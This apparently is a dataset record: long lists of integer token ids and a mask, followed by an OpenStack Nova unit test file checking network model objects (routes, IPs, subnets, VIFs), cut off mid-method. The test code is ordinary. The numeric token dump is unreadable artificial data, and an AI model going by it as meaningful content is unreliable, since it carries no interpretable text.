827,
63,
331,
275,
378,
199,
827,
63,
808,
63,
331,
275,
378,
199,
827,
63,
1773,
331,
275,
378,
199,
827,
63,
1773,
808,
63,
331,
275,
378,
199,
78,
63,
3356,
63,
331,
275,
378,
199,
3,
5574,
314,
2202,
687,
314,
2202,
570,
199,
1751,
63,
493,
275,
1551,
28615,
888,
15,
1751,
14,
2424,
531,
199,
3,
5099,
11973,
1844,
325,
14,
71,
14,
3286,
2374,
15,
4707,
19919,
16,
2,
199,
719,
63,
331,
275,
2202,
63,
493,
14,
6407,
1252,
6735,
2258,
78,
358,
199,
1361,
8,
3954,
435,
1844,
63,
331,
9,
199,
3,
4825,
18,
11973,
1844,
325,
14,
71,
14,
3286,
2374,
15,
4707,
19919,
16,
2,
199,
719,
63,
889,
18,
275,
2202,
63,
493,
14,
6407,
1252,
6735,
2258,
78,
358,
199,
1361,
8,
3954,
435,
1844,
63,
889,
18,
9,
199,
3,
931,
367,
666,
1584,
199,
3,
325,
14,
71,
14,
3286,
4219,
15,
2921,
15,
576,
1850,
67,
8507,
16,
6687,
199,
25019,
275,
2202,
63,
493,
14,
6407,
1252,
6735,
2258,
78,
358,
199,
1361,
8,
3954,
435,
24991,
9,
199,
5701,
63,
493,
63,
354,
275,
24991,
435,
900,
14,
6205,
3647,
57,
5,
77,
5,
68,
14,
2424,
401,
6488,
63,
521,
9,
199,
2469,
275,
2202,
63,
493,
14,
6407,
1252,
6735,
1252,
1294,
11917,
199,
1361,
8,
3954,
435,
3285,
59,
16,
566,
199,
199,
1818,
63,
4947,
63,
354,
275,
24991,
435,
900,
14,
6205,
3647,
57,
5,
77,
5,
68,
14,
4947,
401,
6488,
63,
521,
9,
199,
1818,
63,
493,
275,
1551,
8,
1818,
63,
4947,
63,
354,
12,
298,
65,
531,
199,
1818,
63,
493,
14,
952,
8,
3954,
435,
298,
19928,
9174,
60,
78,
531,
199,
1818,
63,
493,
14,
952,
8,
3954,
435,
298,
298,
435,
1844,
63,
331,
435,
1867,
78,
531,
199,
1818,
63,
493,
14,
952,
8,
3954,
435,
298,
298,
435,
1844,
63,
889,
18,
435,
1867,
78,
531,
199,
1818,
63,
493,
14,
952,
8,
3954,
435,
298,
298,
435,
24991,
435,
1867,
78,
531,
199,
1818,
63,
493,
14,
952,
8,
3954,
435,
298,
298,
435,
3285,
59,
16,
61,
435,
1867,
78,
531,
199,
1818,
63,
493,
14,
4939,
342,
199,
1818,
63,
493,
14,
1600,
342,
199,
199,
3,
603,
49,
1481,
2287,
199,
838,
867,
63,
1000,
275,
2202,
63,
493,
14,
6407,
1252,
6735,
2258,
78,
358,
199,
3,
603,
49,
1481,
7482,
221,
199,
5645,
8442,
14655,
275,
2202,
63,
493,
14,
6407,
1252,
6735,
2258,
78,
358,
199,
199,
3,
15524,
314,
2202,
570,
199,
1751,
63,
493,
14,
1600,
342,
199,
199,
955,
275,
2097,
331,
401,
298,
889,
18,
401,
298,
331,
63,
84,
401,
298,
889,
18,
63,
84,
401,
298,
2171,
63,
331,
401,
298,
2171,
63,
889,
18,
937,
327,
19519,
4733,
1159,
666,
1504,
199,
199,
3,
30802,
83,
370,
1736,
543,
3537,
1284,
402,
1004,
199,
20470,
275,
330,
1154,
78,
7,
199,
199,
3,
13144,
959,
4696,
370,
410,
25007,
806,
314,
19678,
199,
521,
14,
4532,
8,
21,
9,
199,
3,
7707,
314
] |
[
2647,
15,
1393,
15,
1813,
2366,
19,
199,
199,
3,
7190,
314,
8363,
199,
3,
3749,
365,
370,
511,
6020,
199,
646,
3012,
198,
257,
327,
11973,
13882,
1298,
199,
646,
900,
1057,
327,
26244,
316,
15841,
199,
646,
3873,
257,
327,
24599,
15841,
2263,
11029,
316,
666,
1584,
199,
646,
747,
12,
1274,
1057,
257,
327,
4403,
3778,
370,
4215,
6449,
2082,
199,
646,
2022,
327,
4005,
3222,
4840,
909,
370,
603,
49,
1481,
15416,
199,
646,
691,
526,
14,
19214,
14,
1258,
465,
22925,
327,
603,
49,
1481,
2780,
316,
199,
646,
6055,
19,
327,
10168,
1890,
199,
504,
21199,
14,
888,
492,
4094,
327,
15453,
10168,
1890,
199,
199,
3,
30247,
12,
1655,
26841,
12,
298,
2171,
14441,
2,
199,
318,
11973,
63,
3284,
604,
1547,
332,
12,
485,
20470,
304,
199,
198,
552,
20470,
275,
822,
1547,
20470,
9,
199,
198,
63,
66,
604,
275,
11640,
342,
199,
198,
6710,
715,
26,
507,
198,
67,
275,
485,
332,
14,
739,
8,
17,
9,
507,
198,
63,
66,
604,
847,
286,
507,
198,
692,
485,
66,
604,
1988,
552,
20470,
2938,
508,
485,
20470,
26,
686,
198,
4785,
199,
198,
309,
6077,
314,
666,
1004,
199,
198,
63,
604,
275,
485,
66,
604,
14,
2708,
480,
1624,
13,
24,
3471,
6735,
342,
199,
198,
1107,
485,
604,
199,
199,
7231,
63,
16153,
275,
1551,
28615,
4731,
63,
7231,
14,
2424,
531,
199,
7231,
63,
18639,
275,
11488,
63,
16153,
14,
6407,
1252,
1294,
26468,
199,
199,
1662,
63,
51,
19,
63,
888,
275,
4094,
8,
199,
198,
4551,
63,
354,
275,
283,
439,
13,
22607,
14346,
13,
18,
297,
199,
198,
5233,
63,
1023,
275,
283,
86,
20,
297,
199,
198,
10937,
275,
469,
507,
198,
6704,
1219,
63,
13143,
356,
1616,
12,
507,
198,
6704,
380,
356,
283,
6807,
7,
199,
198,
93,
199,
9,
199,
199,
1258,
51,
19,
275,
6055,
19,
14,
1258,
8,
199,
198,
1159,
19,
297,
199,
198,
7231,
63,
2732,
63,
498,
63,
344,
29,
7231,
63,
18639,
59,
16,
467,
199,
198,
7231,
63,
4731,
63,
2732,
63,
498,
29,
7231,
63,
18639,
59,
17,
467,
199,
198,
888,
275,
3002,
63,
51,
19,
63,
888,
199,
9,
199,
3,
12230,
1159,
675,
14347,
428,
19,
199,
83,
19,
275,
6055,
19,
14,
1927,
360,
83,
19,
358,
199,
199,
3,
2494,
314,
900,
5262,
199,
2761,
63,
521,
275,
900,
14,
22227,
342,
199,
928,
63,
521,
275,
1109,
8,
521,
14,
521,
1012,
199,
3954,
275,
900,
14,
6205,
3647,
57,
3149,
77,
3149,
68,
450,
40,
2689,
45,
2689,
51,
19152,
401,
6488,
63,
521,
9,
199,
5701,
63,
10698,
275,
6488,
63,
521,
59,
20,
61,
199,
3,
2494,
314,
12709,
282,
422,
7407,
2860,
199,
827,
63,
889,
18,
275,
378,
199,
827,
63,
808,
63,
889,
18,
275,
378,
199,
827,
63,
1773,
889,
18,
275,
378,
199,
827,
63,
1773,
808,
63,
889,
18,
275,
378,
199,
78,
63,
3356,
63,
889,
18,
275,
378,
199,
827,
63,
331,
275,
378,
199,
827,
63,
808,
63,
331,
275,
378,
199,
827,
63,
1773,
331,
275,
378,
199,
827,
63,
1773,
808,
63,
331,
275,
378,
199,
78,
63,
3356,
63,
331,
275,
378,
199,
3,
5574,
314,
2202,
687,
314,
2202,
570,
199,
1751,
63,
493,
275,
1551,
28615,
888,
15,
1751,
14,
2424,
531,
199,
3,
5099,
11973,
1844,
325,
14,
71,
14,
3286,
2374,
15,
4707,
19919,
16,
2,
199,
719,
63,
331,
275,
2202,
63,
493,
14,
6407,
1252,
6735,
2258,
78,
358,
199,
1361,
8,
3954,
435,
1844,
63,
331,
9,
199,
3,
4825,
18,
11973,
1844,
325,
14,
71,
14,
3286,
2374,
15,
4707,
19919,
16,
2,
199,
719,
63,
889,
18,
275,
2202,
63,
493,
14,
6407,
1252,
6735,
2258,
78,
358,
199,
1361,
8,
3954,
435,
1844,
63,
889,
18,
9,
199,
3,
931,
367,
666,
1584,
199,
3,
325,
14,
71,
14,
3286,
4219,
15,
2921,
15,
576,
1850,
67,
8507,
16,
6687,
199,
25019,
275,
2202,
63,
493,
14,
6407,
1252,
6735,
2258,
78,
358,
199,
1361,
8,
3954,
435,
24991,
9,
199,
5701,
63,
493,
63,
354,
275,
24991,
435,
900,
14,
6205,
3647,
57,
5,
77,
5,
68,
14,
2424,
401,
6488,
63,
521,
9,
199,
2469,
275,
2202,
63,
493,
14,
6407,
1252,
6735,
1252,
1294,
11917,
199,
1361,
8,
3954,
435,
3285,
59,
16,
566,
199,
199,
1818,
63,
4947,
63,
354,
275,
24991,
435,
900,
14,
6205,
3647,
57,
5,
77,
5,
68,
14,
4947,
401,
6488,
63,
521,
9,
199,
1818,
63,
493,
275,
1551,
8,
1818,
63,
4947,
63,
354,
12,
298,
65,
531,
199,
1818,
63,
493,
14,
952,
8,
3954,
435,
298,
19928,
9174,
60,
78,
531,
199,
1818,
63,
493,
14,
952,
8,
3954,
435,
298,
298,
435,
1844,
63,
331,
435,
1867,
78,
531,
199,
1818,
63,
493,
14,
952,
8,
3954,
435,
298,
298,
435,
1844,
63,
889,
18,
435,
1867,
78,
531,
199,
1818,
63,
493,
14,
952,
8,
3954,
435,
298,
298,
435,
24991,
435,
1867,
78,
531,
199,
1818,
63,
493,
14,
952,
8,
3954,
435,
298,
298,
435,
3285,
59,
16,
61,
435,
1867,
78,
531,
199,
1818,
63,
493,
14,
4939,
342,
199,
1818,
63,
493,
14,
1600,
342,
199,
199,
3,
603,
49,
1481,
2287,
199,
838,
867,
63,
1000,
275,
2202,
63,
493,
14,
6407,
1252,
6735,
2258,
78,
358,
199,
3,
603,
49,
1481,
7482,
221,
199,
5645,
8442,
14655,
275,
2202,
63,
493,
14,
6407,
1252,
6735,
2258,
78,
358,
199,
199,
3,
15524,
314,
2202,
570,
199,
1751,
63,
493,
14,
1600,
342,
199,
199,
955,
275,
2097,
331,
401,
298,
889,
18,
401,
298,
331,
63,
84,
401,
298,
889,
18,
63,
84,
401,
298,
2171,
63,
331,
401,
298,
2171,
63,
889,
18,
937,
327,
19519,
4733,
1159,
666,
1504,
199,
199,
3,
30802,
83,
370,
1736,
543,
3537,
1284,
402,
1004,
199,
20470,
275,
330,
1154,
78,
7,
199,
199,
3,
13144,
959,
4696,
370,
410,
25007,
806,
314,
19678,
199,
521,
14,
4532,
8,
21,
9,
199,
3,
7707,
314,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,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,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
CEG-FYP-OpenStack/scheduler
|
nova/tests/unit/network/test_network_info.py
|
13
|
43575
|
# Copyright 2011 OpenStack Foundation
# All Rights Reserved.
# Copyright 2013 IBM Corp.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
# License for the specific language governing permissions and limitations
# under the License.
from oslo_config import cfg
from nova import exception
from nova.network import model
from nova import test
from nova.tests.unit import fake_network_cache_model
from nova.virt import netutils
class RouteTests(test.NoDBTestCase):
def test_create_route_with_attrs(self):
route = fake_network_cache_model.new_route()
fake_network_cache_model.new_ip(dict(address='192.168.1.1'))
self.assertEqual('0.0.0.0/24', route['cidr'])
self.assertEqual('192.168.1.1', route['gateway']['address'])
self.assertEqual('eth0', route['interface'])
def test_routes_equal(self):
route1 = model.Route()
route2 = model.Route()
self.assertEqual(route1, route2)
def test_routes_not_equal(self):
route1 = model.Route(cidr='1.1.1.0/24')
route2 = model.Route(cidr='2.2.2.0/24')
self.assertNotEqual(route1, route2)
route1 = model.Route(cidr='1.1.1.1/24', gateway='1.1.1.1')
route2 = model.Route(cidr='1.1.1.1/24', gateway='1.1.1.2')
self.assertNotEqual(route1, route2)
route1 = model.Route(cidr='1.1.1.1/24', interface='tap0')
route2 = model.Route(cidr='1.1.1.1/24', interface='tap1')
self.assertNotEqual(route1, route2)
def test_hydrate(self):
route = model.Route.hydrate(
{'gateway': fake_network_cache_model.new_ip(
dict(address='192.168.1.1'))})
self.assertIsNone(route['cidr'])
self.assertEqual('192.168.1.1', route['gateway']['address'])
self.assertIsNone(route['interface'])
class IPTests(test.NoDBTestCase):
def test_ip_equal(self):
ip1 = model.IP(address='127.0.0.1')
ip2 = model.IP(address='127.0.0.1')
self.assertEqual(ip1, ip2)
def test_ip_not_equal(self):
ip1 = model.IP(address='127.0.0.1')
ip2 = model.IP(address='172.0.0.3')
self.assertNotEqual(ip1, ip2)
ip1 = model.IP(address='127.0.0.1', type=1)
ip2 = model.IP(address='172.0.0.1', type=2)
self.assertNotEqual(ip1, ip2)
ip1 = model.IP(address='127.0.0.1', version=4)
ip2 = model.IP(address='172.0.0.1', version=6)
self.assertNotEqual(ip1, ip2)
class FixedIPTests(test.NoDBTestCase):
def test_createnew_fixed_ip_with_attrs(self):
fixed_ip = model.FixedIP(address='192.168.1.100')
self.assertEqual('192.168.1.100', fixed_ip['address'])
self.assertEqual([], fixed_ip['floating_ips'])
self.assertEqual('fixed', fixed_ip['type'])
self.assertEqual(4, fixed_ip['version'])
def test_create_fixed_ipv6(self):
fixed_ip = model.FixedIP(address='::1')
self.assertEqual('::1', fixed_ip['address'])
self.assertEqual([], fixed_ip['floating_ips'])
self.assertEqual('fixed', fixed_ip['type'])
self.assertEqual(6, fixed_ip['version'])
def test_create_fixed_bad_ip_fails(self):
self.assertRaises(exception.InvalidIpAddressError,
model.FixedIP,
address='picklespicklespickles')
def test_equate_two_fixed_ips(self):
fixed_ip = model.FixedIP(address='::1')
fixed_ip2 = model.FixedIP(address='::1')
self.assertEqual(fixed_ip, fixed_ip2)
def test_equate_two_dissimilar_fixed_ips_fails(self):
fixed_ip = model.FixedIP(address='::1')
fixed_ip2 = model.FixedIP(address='::2')
self.assertNotEqual(fixed_ip, fixed_ip2)
fixed_ip = model.FixedIP(address='::1', type='1')
fixed_ip2 = model.FixedIP(address='::1', type='2')
self.assertNotEqual(fixed_ip, fixed_ip2)
fixed_ip = model.FixedIP(address='::1', version='6')
fixed_ip2 = model.FixedIP(address='::1', version='4')
self.assertNotEqual(fixed_ip, fixed_ip2)
fixed_ip = model.FixedIP(address='::1', floating_ips='1.1.1.1')
fixed_ip2 = model.FixedIP(address='::1', floating_ips='8.8.8.8')
self.assertNotEqual(fixed_ip, fixed_ip2)
def test_hydrate(self):
fixed_ip = model.FixedIP.hydrate({})
self.assertEqual([], fixed_ip['floating_ips'])
self.assertIsNone(fixed_ip['address'])
self.assertEqual('fixed', fixed_ip['type'])
self.assertIsNone(fixed_ip['version'])
def test_add_floating_ip(self):
fixed_ip = model.FixedIP(address='192.168.1.100')
fixed_ip.add_floating_ip('192.168.1.101')
self.assertEqual(['192.168.1.101'], fixed_ip['floating_ips'])
def test_add_floating_ip_repeatedly_only_one_instance(self):
fixed_ip = model.FixedIP(address='192.168.1.100')
for i in range(10):
fixed_ip.add_floating_ip('192.168.1.101')
self.assertEqual(['192.168.1.101'], fixed_ip['floating_ips'])
class SubnetTests(test.NoDBTestCase):
def test_create_subnet_with_attrs(self):
subnet = fake_network_cache_model.new_subnet()
route1 = fake_network_cache_model.new_route()
self.assertEqual('10.10.0.0/24', subnet['cidr'])
self.assertEqual(
[fake_network_cache_model.new_ip(dict(address='1.2.3.4')),
fake_network_cache_model.new_ip(dict(address='2.3.4.5'))],
subnet['dns'])
self.assertEqual('10.10.0.1', subnet['gateway']['address'])
self.assertEqual(
[fake_network_cache_model.new_fixed_ip(
dict(address='10.10.0.2')),
fake_network_cache_model.new_fixed_ip(
dict(address='10.10.0.3'))], subnet['ips'])
self.assertEqual([route1], subnet['routes'])
self.assertEqual(4, subnet['version'])
def test_subnet_equal(self):
subnet1 = fake_network_cache_model.new_subnet()
subnet2 = fake_network_cache_model.new_subnet()
self.assertEqual(subnet1, subnet2)
def test_subnet_not_equal(self):
subnet1 = model.Subnet(cidr='1.1.1.0/24')
subnet2 = model.Subnet(cidr='2.2.2.0/24')
self.assertNotEqual(subnet1, subnet2)
subnet1 = model.Subnet(dns='1.1.1.0/24')
subnet2 = model.Subnet(dns='2.2.2.0/24')
self.assertNotEqual(subnet1, subnet2)
subnet1 = model.Subnet(gateway='1.1.1.1/24')
subnet2 = model.Subnet(gateway='2.2.2.1/24')
self.assertNotEqual(subnet1, subnet2)
subnet1 = model.Subnet(ips='1.1.1.0/24')
subnet2 = model.Subnet(ips='2.2.2.0/24')
self.assertNotEqual(subnet1, subnet2)
subnet1 = model.Subnet(routes='1.1.1.0/24')
subnet2 = model.Subnet(routes='2.2.2.0/24')
self.assertNotEqual(subnet1, subnet2)
subnet1 = model.Subnet(version='4')
subnet2 = model.Subnet(version='6')
self.assertNotEqual(subnet1, subnet2)
def test_add_route(self):
subnet = fake_network_cache_model.new_subnet()
route1 = fake_network_cache_model.new_route()
route2 = fake_network_cache_model.new_route({'cidr': '1.1.1.1/24'})
subnet.add_route(route2)
self.assertEqual([route1, route2], subnet['routes'])
def test_add_route_a_lot(self):
subnet = fake_network_cache_model.new_subnet()
route1 = fake_network_cache_model.new_route()
route2 = fake_network_cache_model.new_route({'cidr': '1.1.1.1/24'})
for i in range(10):
subnet.add_route(route2)
self.assertEqual([route1, route2], subnet['routes'])
def test_add_dns(self):
subnet = fake_network_cache_model.new_subnet()
dns = fake_network_cache_model.new_ip(dict(address='9.9.9.9'))
subnet.add_dns(dns)
self.assertEqual(
[fake_network_cache_model.new_ip(dict(address='1.2.3.4')),
fake_network_cache_model.new_ip(dict(address='2.3.4.5')),
fake_network_cache_model.new_ip(dict(address='9.9.9.9'))],
subnet['dns'])
def test_add_dns_a_lot(self):
subnet = fake_network_cache_model.new_subnet()
for i in range(10):
subnet.add_dns(fake_network_cache_model.new_ip(
dict(address='9.9.9.9')))
self.assertEqual(
[fake_network_cache_model.new_ip(dict(address='1.2.3.4')),
fake_network_cache_model.new_ip(dict(address='2.3.4.5')),
fake_network_cache_model.new_ip(dict(address='9.9.9.9'))],
subnet['dns'])
def test_add_ip(self):
subnet = fake_network_cache_model.new_subnet()
subnet.add_ip(fake_network_cache_model.new_ip(
dict(address='192.168.1.102')))
self.assertEqual(
[fake_network_cache_model.new_fixed_ip(
dict(address='10.10.0.2')),
fake_network_cache_model.new_fixed_ip(
dict(address='10.10.0.3')),
fake_network_cache_model.new_ip(
dict(address='192.168.1.102'))], subnet['ips'])
def test_add_ip_a_lot(self):
subnet = fake_network_cache_model.new_subnet()
for i in range(10):
subnet.add_ip(fake_network_cache_model.new_fixed_ip(
dict(address='192.168.1.102')))
self.assertEqual(
[fake_network_cache_model.new_fixed_ip(
dict(address='10.10.0.2')),
fake_network_cache_model.new_fixed_ip(
dict(address='10.10.0.3')),
fake_network_cache_model.new_fixed_ip(
dict(address='192.168.1.102'))], subnet['ips'])
def test_hydrate(self):
subnet_dict = {
'cidr': '255.255.255.0',
'dns': [fake_network_cache_model.new_ip(dict(address='1.1.1.1'))],
'ips': [fake_network_cache_model.new_fixed_ip(
dict(address='2.2.2.2'))],
'routes': [fake_network_cache_model.new_route()],
'version': 4,
'gateway': fake_network_cache_model.new_ip(
dict(address='3.3.3.3'))}
subnet = model.Subnet.hydrate(subnet_dict)
self.assertEqual('255.255.255.0', subnet['cidr'])
self.assertEqual([fake_network_cache_model.new_ip(
dict(address='1.1.1.1'))], subnet['dns'])
self.assertEqual('3.3.3.3', subnet['gateway']['address'])
self.assertEqual([fake_network_cache_model.new_fixed_ip(
dict(address='2.2.2.2'))], subnet['ips'])
self.assertEqual([fake_network_cache_model.new_route()],
subnet['routes'])
self.assertEqual(4, subnet['version'])
class NetworkTests(test.NoDBTestCase):
def test_create_network(self):
network = fake_network_cache_model.new_network()
self.assertEqual(1, network['id'])
self.assertEqual('br0', network['bridge'])
self.assertEqual('public', network['label'])
self.assertEqual(
[fake_network_cache_model.new_subnet(),
fake_network_cache_model.new_subnet(
dict(cidr='255.255.255.255'))], network['subnets'])
def test_add_subnet(self):
network = fake_network_cache_model.new_network()
network.add_subnet(fake_network_cache_model.new_subnet(
dict(cidr='0.0.0.0')))
self.assertEqual(
[fake_network_cache_model.new_subnet(),
fake_network_cache_model.new_subnet(
dict(cidr='255.255.255.255')),
fake_network_cache_model.new_subnet(dict(cidr='0.0.0.0'))],
network['subnets'])
def test_add_subnet_a_lot(self):
network = fake_network_cache_model.new_network()
for i in range(10):
network.add_subnet(fake_network_cache_model.new_subnet(
dict(cidr='0.0.0.0')))
self.assertEqual(
[fake_network_cache_model.new_subnet(),
fake_network_cache_model.new_subnet(
dict(cidr='255.255.255.255')),
fake_network_cache_model.new_subnet(dict(cidr='0.0.0.0'))],
network['subnets'])
def test_network_equal(self):
network1 = model.Network()
network2 = model.Network()
self.assertEqual(network1, network2)
def test_network_not_equal(self):
network1 = model.Network(id='1')
network2 = model.Network(id='2')
self.assertNotEqual(network1, network2)
network1 = model.Network(bridge='br-int')
network2 = model.Network(bridge='br0')
self.assertNotEqual(network1, network2)
network1 = model.Network(label='net1')
network2 = model.Network(label='net2')
self.assertNotEqual(network1, network2)
network1 = model.Network(subnets='1.1.1.0/24')
network2 = model.Network(subnets='2.2.2.0/24')
self.assertNotEqual(network1, network2)
def test_hydrate(self):
fake_network_cache_model.new_subnet()
fake_network_cache_model.new_subnet(dict(cidr='255.255.255.255'))
network = model.Network.hydrate(fake_network_cache_model.new_network())
self.assertEqual(1, network['id'])
self.assertEqual('br0', network['bridge'])
self.assertEqual('public', network['label'])
self.assertEqual(
[fake_network_cache_model.new_subnet(),
fake_network_cache_model.new_subnet(
dict(cidr='255.255.255.255'))], network['subnets'])
class VIFTests(test.NoDBTestCase):
def test_create_vif(self):
vif = fake_network_cache_model.new_vif()
self.assertEqual(1, vif['id'])
self.assertEqual('aa:aa:aa:aa:aa:aa', vif['address'])
self.assertEqual(fake_network_cache_model.new_network(),
vif['network'])
def test_vif_equal(self):
vif1 = model.VIF()
vif2 = model.VIF()
self.assertEqual(vif1, vif2)
def test_vif_not_equal(self):
vif1 = model.VIF(id=1)
vif2 = model.VIF(id=2)
self.assertNotEqual(vif1, vif2)
vif1 = model.VIF(address='00:00:00:00:00:11')
vif2 = model.VIF(address='00:00:00:00:00:22')
self.assertNotEqual(vif1, vif2)
vif1 = model.VIF(network='net1')
vif2 = model.VIF(network='net2')
self.assertNotEqual(vif1, vif2)
vif1 = model.VIF(type='ovs')
vif2 = model.VIF(type='linuxbridge')
self.assertNotEqual(vif1, vif2)
vif1 = model.VIF(devname='ovs1234')
vif2 = model.VIF(devname='linuxbridge1234')
self.assertNotEqual(vif1, vif2)
vif1 = model.VIF(qbh_params=1)
vif2 = model.VIF(qbh_params=None)
self.assertNotEqual(vif1, vif2)
vif1 = model.VIF(qbg_params=1)
vif2 = model.VIF(qbg_params=None)
self.assertNotEqual(vif1, vif2)
vif1 = model.VIF(active=True)
vif2 = model.VIF(active=False)
self.assertNotEqual(vif1, vif2)
vif1 = model.VIF(vnic_type=model.VNIC_TYPE_NORMAL)
vif2 = model.VIF(vnic_type=model.VNIC_TYPE_DIRECT)
self.assertNotEqual(vif1, vif2)
vif1 = model.VIF(profile={'pci_slot': '0000:0a:00.1'})
vif2 = model.VIF(profile={'pci_slot': '0000:0a:00.2'})
self.assertNotEqual(vif1, vif2)
vif1 = model.VIF(preserve_on_delete=True)
vif2 = model.VIF(preserve_on_delete=False)
self.assertNotEqual(vif1, vif2)
def test_create_vif_with_type(self):
vif_dict = dict(
id=1,
address='aa:aa:aa:aa:aa:aa',
network=fake_network_cache_model.new_network(),
type='bridge')
vif = fake_network_cache_model.new_vif(vif_dict)
self.assertEqual(1, vif['id'])
self.assertEqual('aa:aa:aa:aa:aa:aa', vif['address'])
self.assertEqual('bridge', vif['type'])
self.assertEqual(fake_network_cache_model.new_network(),
vif['network'])
def test_vif_get_fixed_ips(self):
vif = fake_network_cache_model.new_vif()
fixed_ips = vif.fixed_ips()
ips = [
fake_network_cache_model.new_fixed_ip(dict(address='10.10.0.2')),
fake_network_cache_model.new_fixed_ip(dict(address='10.10.0.3'))
] * 2
self.assertEqual(fixed_ips, ips)
def test_vif_get_floating_ips(self):
vif = fake_network_cache_model.new_vif()
vif['network']['subnets'][0]['ips'][0].add_floating_ip('192.168.1.1')
floating_ips = vif.floating_ips()
self.assertEqual(['192.168.1.1'], floating_ips)
def test_vif_get_labeled_ips(self):
vif = fake_network_cache_model.new_vif()
labeled_ips = vif.labeled_ips()
ip_dict = {
'network_id': 1,
'ips': [fake_network_cache_model.new_ip(
{'address': '10.10.0.2', 'type': 'fixed'}),
fake_network_cache_model.new_ip(
{'address': '10.10.0.3', 'type': 'fixed'})] * 2,
'network_label': 'public'}
self.assertEqual(ip_dict, labeled_ips)
def test_hydrate(self):
fake_network_cache_model.new_network()
vif = model.VIF.hydrate(fake_network_cache_model.new_vif())
self.assertEqual(1, vif['id'])
self.assertEqual('aa:aa:aa:aa:aa:aa', vif['address'])
self.assertEqual(fake_network_cache_model.new_network(),
vif['network'])
def test_hydrate_vif_with_type(self):
vif_dict = dict(
id=1,
address='aa:aa:aa:aa:aa:aa',
network=fake_network_cache_model.new_network(),
type='bridge')
vif = model.VIF.hydrate(fake_network_cache_model.new_vif(vif_dict))
self.assertEqual(1, vif['id'])
self.assertEqual('aa:aa:aa:aa:aa:aa', vif['address'])
self.assertEqual('bridge', vif['type'])
self.assertEqual(fake_network_cache_model.new_network(),
vif['network'])
class NetworkInfoTests(test.NoDBTestCase):
def test_create_model(self):
ninfo = model.NetworkInfo([fake_network_cache_model.new_vif(),
fake_network_cache_model.new_vif(
{'address': 'bb:bb:bb:bb:bb:bb'})])
self.assertEqual(
[fake_network_cache_model.new_fixed_ip(
{'address': '10.10.0.2'}),
fake_network_cache_model.new_fixed_ip(
{'address': '10.10.0.3'})] * 4, ninfo.fixed_ips())
def test_create_async_model(self):
def async_wrapper():
return model.NetworkInfo(
[fake_network_cache_model.new_vif(),
fake_network_cache_model.new_vif(
{'address': 'bb:bb:bb:bb:bb:bb'})])
ninfo = model.NetworkInfoAsyncWrapper(async_wrapper)
self.assertEqual(
[fake_network_cache_model.new_fixed_ip(
{'address': '10.10.0.2'}),
fake_network_cache_model.new_fixed_ip(
{'address': '10.10.0.3'})] * 4, ninfo.fixed_ips())
def test_create_async_model_exceptions(self):
def async_wrapper():
raise test.TestingException()
ninfo = model.NetworkInfoAsyncWrapper(async_wrapper)
self.assertRaises(test.TestingException, ninfo.wait)
# 2nd one doesn't raise
self.assertIsNone(ninfo.wait())
# Test that do_raise=False works on .wait()
ninfo = model.NetworkInfoAsyncWrapper(async_wrapper)
self.assertIsNone(ninfo.wait(do_raise=False))
# Test we also raise calling a method
ninfo = model.NetworkInfoAsyncWrapper(async_wrapper)
self.assertRaises(test.TestingException, ninfo.fixed_ips)
def test_get_floating_ips(self):
vif = fake_network_cache_model.new_vif()
vif['network']['subnets'][0]['ips'][0].add_floating_ip('192.168.1.1')
ninfo = model.NetworkInfo([vif,
fake_network_cache_model.new_vif(
{'address': 'bb:bb:bb:bb:bb:bb'})])
self.assertEqual(['192.168.1.1'], ninfo.floating_ips())
def test_hydrate(self):
ninfo = model.NetworkInfo([fake_network_cache_model.new_vif(),
fake_network_cache_model.new_vif(
{'address': 'bb:bb:bb:bb:bb:bb'})])
model.NetworkInfo.hydrate(ninfo)
self.assertEqual(
[fake_network_cache_model.new_fixed_ip(
{'address': '10.10.0.2'}),
fake_network_cache_model.new_fixed_ip(
{'address': '10.10.0.3'})] * 4, ninfo.fixed_ips())
def _setup_injected_network_scenario(self, should_inject=True,
use_ipv4=True, use_ipv6=False,
gateway=True, dns=True,
two_interfaces=False,
libvirt_virt_type=None):
"""Check that netutils properly decides whether to inject based on
whether the supplied subnet is static or dynamic.
"""
network = fake_network_cache_model.new_network({'subnets': []})
subnet_dict = {}
if not gateway:
subnet_dict['gateway'] = None
if not dns:
subnet_dict['dns'] = None
if not should_inject:
